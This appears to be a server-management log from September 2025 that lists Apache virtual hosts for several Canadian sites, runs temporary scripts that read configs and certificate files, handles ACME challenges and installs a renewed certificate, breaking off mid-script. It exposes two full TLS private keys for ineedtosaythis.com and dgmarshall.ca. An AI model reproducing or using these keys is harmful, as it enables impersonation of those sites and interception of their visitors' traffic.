port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
alias www.ineedtosaythis.com
port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
*:443 is a NameVirtualHost
default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
alias www.bucketgigs.ca
port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
alias www.dgmarshall.ca
port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
alias www.dgmarshall.com
port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
alias www.drewmarshall.ca
port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
alias www.hillrunfarm.ca
port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
alias www.ineedtosaythis.com
port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-26 06:01:55:
PUT: /tmp/pkp487772
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-26 06:01:55:
chmod 755 /tmp/pkp487772; /tmp/pkp487772; rm /tmp/pkp487772
2025-09-26 06:01:55:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf 1310
<VirtualHost *:80>
ServerName ineedtosaythis.com
ServerAlias www.ineedtosaythis.com
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/ineedtosaythis_www
<Directory /var/www/ineedtosaythis_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/ineedtosaythis/www_access.log combined
ErrorLog /var/log/apache2/ineedtosaythis/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName ineedtosaythis.com
ServerAlias www.ineedtosaythis.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/30544cb98a5f34c59eb0febd8752cfa0.crt
DocumentRoot /var/www/ineedtosaythis_www
<Directory /var/www/ineedtosaythis_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/ineedtosaythis/www_secure_access.log combined
ErrorLog /var/log/apache2/ineedtosaythis/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-26 06:01:55:
PUT: /tmp/pkp171930
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/30544cb98a5f34c59eb0febd8752cfa0.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-26 06:01:55:
chmod 755 /tmp/pkp171930; /tmp/pkp171930; rm /tmp/pkp171930
2025-09-26 06:01:55:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/30544cb98a5f34c59eb0febd8752cfa0.crt 5390
eb:bf:4b:6e:08:fc:10:43:86:98:6a:7d:9c:5a:31:56
-----BEGIN CERTIFICATE-----
MIIFGTCCBAGgAwIBAgISBVgSF91c9kxCHRK1nHSIbmCJMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTI2MDUwMzIzWhcNMjUxMjI1MDUwMzIyWjAdMRswGQYDVQQD
ExJpbmVlZHRvc2F5dGhpcy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQCw+1+bOVIwTxb/1c9GOR2qzMfnmBzAwfweU1RsEMJuUDlATgztk7qbUs97
wISb4mM1dYTBYPeBzN2mtRRuQ/Wjkr/mz+Pc6KYDRKOiQppH2g9mxV/sbKhTQBo+
mqaj9DAk2lzosADxTQ/GqzSCI4jgGP86DEjKOqOqbG7s4uM+V+QL11wzGOkmt8uj
R42IyWJOGxVrpnRGemmK7Pn9eugfo1mI/MyxWIp8Gu+r54WXTOcEDYLVcpCRaK2U
7ACmkxhDrM+YJDak7jrYEreO4btwHlkZkNXR75Xy9dCHL/H1ItCc84UH4ml6o2ZG
vqNEoW1V9hMyAIFStq4LjJW0j1QfAgMBAAGjggI7MIICNzAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFFnBJhMqaM97Ndy+xCQawj5+4EpfMB8GA1UdIwQYMBaAFAC1KfIt
jm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMi5pLmxlbmNyLm9yZy8wNQYDVR0RBC4wLIISaW5lZWR0b3NheXRoaXMu
Y29tghZ3d3cuaW5lZWR0b3NheXRoaXMuY29tMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTAuY3Js
MIIBBQYKKwYBBAHWeQIEAgSB9gSB8wDxAHcAzPsPaoVxCWX+lZtTzumyfCLphVwN
l422qX5UwP5MDbAAAAGZhJ0eOwAABAMASDBGAiEA3ZFQNuEP/XnBLGqaWnJeUTFy
KFn/RcEZHFGbHhTOKncCIQCrImjqJ0bILL3NRLW0Oi4ZX6cgoTgIG7T4AOXHrchw
rwB2ABmG1Mcoqm/+ugNveCpNAZGqzi1yMQ+uzl1wQS0lTMfUAAABmYSdHp0AAAQD
AEcwRQIgRPKnfQuOZZDS4SRW63GzCJaaGsOHQj356AozfvnmpC0CIQD63CuRPzX1
t3E8t/wK7u9IsITWjrL+UdLAZ+Rtm9OmODANBgkqhkiG9w0BAQsFAAOCAQEAtTVs
G/hS/07RDbevyorhMCxPk3sNogKDwZj+Y9xWN7pbHPiW776tHdbq1p/wCFH5q7GJ
KzNWIzg3bnC9SYjVZ4Vpxm+dy3/B0yTpoDsWN1HjLfcUrh4ItQSELNNwEUTnQRJx
CnJo6c4Cv4UFViZFfHskeW9TIpxaLTa5RWx+ZcxJBzDql0PExid+3mct74iguoQY
88D0cNGNXG9wKWhBIk8GG4eQqF3DWAbPeEAppLrKT78kwbwm/qtI61P1Tr41kqTT
vhhOvheExpdPTWC5O7S5KQrbNjwv2XQlg/dCUPG2MSUfF2oDcST+G0QOWXXxPrNJ
OmkP0Q+p3ppqvRjquw==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCw+1+bOVIwTxb/
1c9GOR2qzMfnmBzAwfweU1RsEMJuUDlATgztk7qbUs97wISb4mM1dYTBYPeBzN2m
tRRuQ/Wjkr/mz+Pc6KYDRKOiQppH2g9mxV/sbKhTQBo+mqaj9DAk2lzosADxTQ/G
qzSCI4jgGP86DEjKOqOqbG7s4uM+V+QL11wzGOkmt8ujR42IyWJOGxVrpnRGemmK
7Pn9eugfo1mI/MyxWIp8Gu+r54WXTOcEDYLVcpCRaK2U7ACmkxhDrM+YJDak7jrY
EreO4btwHlkZkNXR75Xy9dCHL/H1ItCc84UH4ml6o2ZGvqNEoW1V9hMyAIFStq4L
jJW0j1QfAgMBAAECggEABF3faQQMDBcXeS58U747BijRUdyF8ReYMeNadOQg9/nQ
v85tMTtw4j4z0ljYrMP0MLB6mw7abIByg5d6LpJMsEGBrJ86fwvadMAvzWQZTGaL
9Lwv9rRjntI5E4xbSjZPLcmZe0BEda+yEPPOctuPl//l5DfDYAH8YcsVHZEnjDUy
bBziA/mbKUcz74XjS1yAj3fUOQeduSPCAgRaUmXzdq9fkIJR6BJTe1rWKGX+XHpZ
M2HS43mK2DwBLhnfcHm/dsNC4fUEx2e1YlNF97MStqJYnb+8g31zDpfz2FMeiuG0
OHtr7lIIGUjT8aKfZvFD66q95QtlsxK60bFclPHaAQKBgQDidZ7YrpUtvAEkb7x0
vomEvq9gp4hMAH50Dt5w0NHdLHb9qhboChXPdpMsHuVLCuSajeTB3CmSql2e+SJV
9m49teZpHDH8cyAfWDs4IcIiHIaBsGVAaAOtFO2uAezqiwPXd0NhYCagMXD5Zcgn
BaAi9EXY2gS+R7ElNbz5PqlHHwKBgQDIEYCHLnMWT0RQVAbFojotrH1UDmT26reK
0GIS805ZN28hJ0SAYEwkWn8iMA1ZWIZuEU6MhfYkF6uvIEqcOdnSFQWgE8nl5wB8
YnLrZ0JdDcP49YrZdGBYUPgTRzT1rsq7X7Bj+R1m66SJTXqswp6uIfCTCRhMtIMY
/vHsNElTAQKBgQDMt8GyZhiLsJJjyvLVos2UiADo4mpvMl8eMbbay5t8Us76v4FX
oI5Y7vtafk+QCDfik/VBXvLiGErsBJIKnezIsqCpUojJi5V1YICgXLwvtBPQN5NA
pwbzt6CplioDWUpOxQzPgWlJlYhonJ9Uz1wVXTerMmPpU8wLNEoyE3hZxwKBgQCI
D68TQDmwoHPbFWoNmkhqq3YIZkmvyuzMEO/B54oPDq4bI/NoQxVFW+4+N+O8MYIq
9MYwtyIwZZCy5wkWuhky0G0k8pBKNBGWhfWVtoHheu0eMQ8e2BB1v4sWwUR5GUhy
qZ7yPocKaZNadUDKoQj9b8OGm5bVA6Zsp2Wrt9tuAQKBgFByBcdBVSPFn+9IKy4s
+FBA9jqeNT1Kz6zjKJyXKEFrCLkUWuGhkp6ys0qhedpmMXwUuXmBZ+xSOwEWkw2i
Gmtd9Q4L5f6MTPCjS4jhSMMjGHqGMf+HqNa+voIMjoU16FAaO8PZnreU/gC7ZJgq
myrN3BReDhKfGkyxpY+FfHmP
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-09-26 06:01:55: Establishing a connection
2025-09-26 06:01:55: Establishing a connection
2025-09-26 06:01:55:
PUT: /tmp/pkp357543
#!/bin/bash
if [ -d "/var/www/dgmarshall_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-09-26 06:01:55:
chmod 755 /tmp/pkp357543; /tmp/pkp357543; rm /tmp/pkp357543
2025-09-26 06:01:55:
1
2025-09-26 06:01:56: Establishing a connection
2025-09-26 06:01:56:
PUT: /tmp/pkp184846
#!/bin/bash
mkdir -p "/var/www/dgmarshall_www/.well-known/acme-challenge/"
cd "/var/www/dgmarshall_www/.well-known/acme-challenge/"
cat > h9ck1JIsfpWlZzUo-RRA3Zu9m-BAFkqq8dgkT7GT6RE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
h9ck1JIsfpWlZzUo-RRA3Zu9m-BAFkqq8dgkT7GT6RE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 h9ck1JIsfpWlZzUo-RRA3Zu9m-BAFkqq8dgkT7GT6RE
cat > bsd9cMY5HI__POSTrcDo657TuHIkkKbsCq5ycBVCGkQ <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
bsd9cMY5HI__POSTrcDo657TuHIkkKbsCq5ycBVCGkQ.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 bsd9cMY5HI__POSTrcDo657TuHIkkKbsCq5ycBVCGkQ
2025-09-26 06:01:56:
chmod 755 /tmp/pkp184846; /tmp/pkp184846; rm /tmp/pkp184846
2025-09-26 06:01:56:
2025-09-26 06:02:06: Establishing a connection
2025-09-26 06:02:06:
PUT: /tmp/pkp472335
#!/bin/bash
mkdir -p "/var/www/dgmarshall_www/.well-known/acme-challenge/"
cd "/var/www/dgmarshall_www/.well-known/acme-challenge/"
rm h9ck1JIsfpWlZzUo-RRA3Zu9m-BAFkqq8dgkT7GT6RE
rm bsd9cMY5HI__POSTrcDo657TuHIkkKbsCq5ycBVCGkQ
2025-09-26 06:02:06:
chmod 755 /tmp/pkp472335; /tmp/pkp472335; rm /tmp/pkp472335
2025-09-26 06:02:06:
2025-09-26 06:02:06: Establishing a connection
2025-09-26 06:02:07:
PUT: /tmp/pkp663380
#!/bin/bash
temp_file=$(mktemp)
TARGET=81f76087f3fb05d6e60af69d2a7f0ab7.crt
cat > $temp_file <<'endmsg'
41:e8:5a:a6:28:1c:9d:00:56:6d:57:09:de:0e:14:54
-----BEGIN CERTIFICATE-----
MIIFCjCCA/KgAwIBAgISBcxykVfTTFnH1Hn5VHL3DHKkMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTI2MDUwMzM1WhcNMjUxMjI1MDUwMzM0WjAYMRYwFAYDVQQD
Ew1kZ21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
qW1FOTHFmqexBUQu1SRTByeiCIplxEyI0yQUW+PGg7k5ViLvHr/dGPPTXOmMfc2h
+Au/HfDG8T4VlgHqpy9Zse9RAPbYHxoR6FiBUxCpurNeQrgpmNEDxGTs1oCXl6E4
YXO9Yq7XMEutI6RIDB2revgWrp41VVex+vEH52xpGkw15+mQgNAwTQa7TTKyPDrs
6jYcFSOWvQH1HM+DIDrBg8Lak50Q0wfeAzOjBUUOAKtw4ZKVOK2sUFv6BMMMrtEJ
tOlFGcHOvu0MJ1rqWhlXXqdHusH72fJuzyGWsG1nnapJTQbTlOsVYIDU260Tk5+O
P5PUiIgy7Lawc2G+KVbqowIDAQABo4ICMTCCAi0wDgYDVR0PAQH/BAQDAgWgMB0G
A1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1Ud
DgQWBBS2QLLFEXVkDk2JAsey0SLkZFYhFTAfBgNVHSMEGDAWgBQAtSnyLY5vMeib
TK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9y
MTIuaS5sZW5jci5vcmcvMCsGA1UdEQQkMCKCDWRnbWFyc2hhbGwuY2GCEXd3dy5k
Z21hcnNoYWxsLmNhMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6Ah
oB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMzcuY3JsMIIBBQYKKwYBBAHWeQIE
AgSB9gSB8wDxAHYApELFBklgYVSPD9TqnPt6LSZFTYepfy/fRVn2J086hFQAAAGZ
hJ1P8wAABAMARzBFAiEAllT7NeXQsAoKZsLt5arQuuJHCsui827ShNinJ/wUFJcC
IASuxSJDSLhPzqV63diceyO7f+r7bzuiAcV1zVjNhyr0AHcAzPsPaoVxCWX+lZtT
zumyfCLphVwNl422qX5UwP5MDbAAAAGZhJ1QBQAABAMASDBGAiEAxdGTBnD7gjQr
eW3C8LJjLncsorireD5NTLfGFTG2438CIQDOBdQO23HLdNmSted6eahKUkvMJSIQ
S27JgkGHpaZdADANBgkqhkiG9w0BAQsFAAOCAQEAZ10JxUGgvqXUfju6aELusMIL
Xpd5UGbi7P7nfsr5SshM2LZb+K0m/BkK88wYfxrIoVy73ppOP2dZIlZkb4YUAgz1
9WtZy8dkoqMlchmJv+phttYJpKS4+o5imwxINA0gu1zQnP8UCeNU1yqLfOs6D4/d
T/T4zWr9FnUPEz3V1l6eNu9ziQMGQofBBfYfIv11q7u03KRYWC2sp0GMuVP3jkNH
Q8v5WZU4nAyJncRCHnDxh2h9fKvHrNSk9E4rnCKbKI1WnIIPNq8pRE80IjXHmKxj
sgYfhODAHlsOVlkSIZPTWyactMznlb5EIuTuo3xflYmWXm4t4R5bVXcQTHQ2EA==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCpbUU5McWap7EF
RC7VJFMHJ6IIimXETIjTJBRb48aDuTlWIu8ev90Y89Nc6Yx9zaH4C78d8MbxPhWW
AeqnL1mx71EA9tgfGhHoWIFTEKm6s15CuCmY0QPEZOzWgJeXoThhc71irtcwS60j
pEgMHat6+BaunjVVV7H68QfnbGkaTDXn6ZCA0DBNBrtNMrI8OuzqNhwVI5a9AfUc
z4MgOsGDwtqTnRDTB94DM6MFRQ4Aq3DhkpU4raxQW/oEwwyu0Qm06UUZwc6+7Qwn
WupaGVdep0e6wfvZ8m7PIZawbWedqklNBtOU6xVggNTbrROTn44/k9SIiDLstrBz
Yb4pVuqjAgMBAAECggEAWdauMSC6NkKbND6uUqjbOd0DJ2Izij5HAyaLgRorhmdu
BsWpY/W6yGNp/Ud+Dqs+KmgYJEkrRHp2Ob+0bIhIGHjczBUYDo3lVv2vPZuFVJGN
9vTuYbDbPYWCrE8tkuKTIeGcV7p8Moi+Ozr+VSZaam8on9kWULWak4TBey5aIO3R
ZKXy0ZF51O3izzq+lwrSyIgBlCt2OBiNzUAm7oh43RdDf0rtowhLvW6wBFbp85US
07ReDhYnJJ1EJjc7TnqBCDrA74zeNAXa9nMAeYPSaECvnjgdWx1cQRksqm1c7wH/
UtnEiSE79FSl39tkvpx2HIrFh9xHjWoAknAbodVveQKBgQDWmafyw22shAdiBiWf
ilxCQMcpjU7D6VfiOfxcx6uj+FNuRFGy3G+pmTdaI2E6xM4PVwQSMVRnihsrxiGE
bfDL421LHWl6cwptTfNZo9ZnSrvX3inKrDsA5tWlw7VoIwyVF6WQnoJUMcfNmMou
rRNTk4FeKwWvJJMMTWQdDviEnwKBgQDKHKlE/UnqGSJqh4y9Ol0+Evwk3azVkgsj
Wh8TtAGXRnAW0K4NQuvetj4LOvYOOQGdYe2NI8we/+5s9sI6qYOMyo3F8fWeDXWd
mh4XJnvHoHIwgkI51S+If2+a4nbOs4vd4g34i4FjYrZju07EgHdJp+7SXuGlLWIL
aVbkGoA3fQKBgHgqzqrX2CAURnYTbxnpRkQrNdsEr6hwj6+0PKZPgMNumHlUdFMt
sLFNhHtK+HUKI0Dfvv3Y9aSM5y4Z4kbfsUjabybyr0/L/3i5f50gazyn0ovMcaZ1
zwxwNg5+iqRni/IoraNPvzcaMQHlnsGIVRwlqvlqKeKrHlRzOa4z5eGNAoGANkMJ
ou8JuCL1XXp065zOycqZDWDCdThXay9X5pdOUgnkMAvonsDXyJxO/f7fbqQZbeKL
v3fb5nq5zWFWdh9qpRMAiyNR2RQt/pkQ+RAo7UiDP8jI9PPqZhAoq4GfehE0PObi
71as7zziUNZJ6HHBFPJUKQC2Pf14NC4c2PLQd5UCgYB2EKXHzgZEy5EzKqGV7nw+
CVXwEijdpI/M43jvlOCCdyDbq0TU/EFMAda5szFtI9qMp0i1YlpTXqnQjv0SH4aL
vVBGh2kSb5IcHLzcwBYJX8rvF+w/TWJ+G97NzqoPUi+rfT8wqSEoY5LpSQMUv4lZ
LU86Q3E/YbZflxoPI3Xjpw==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
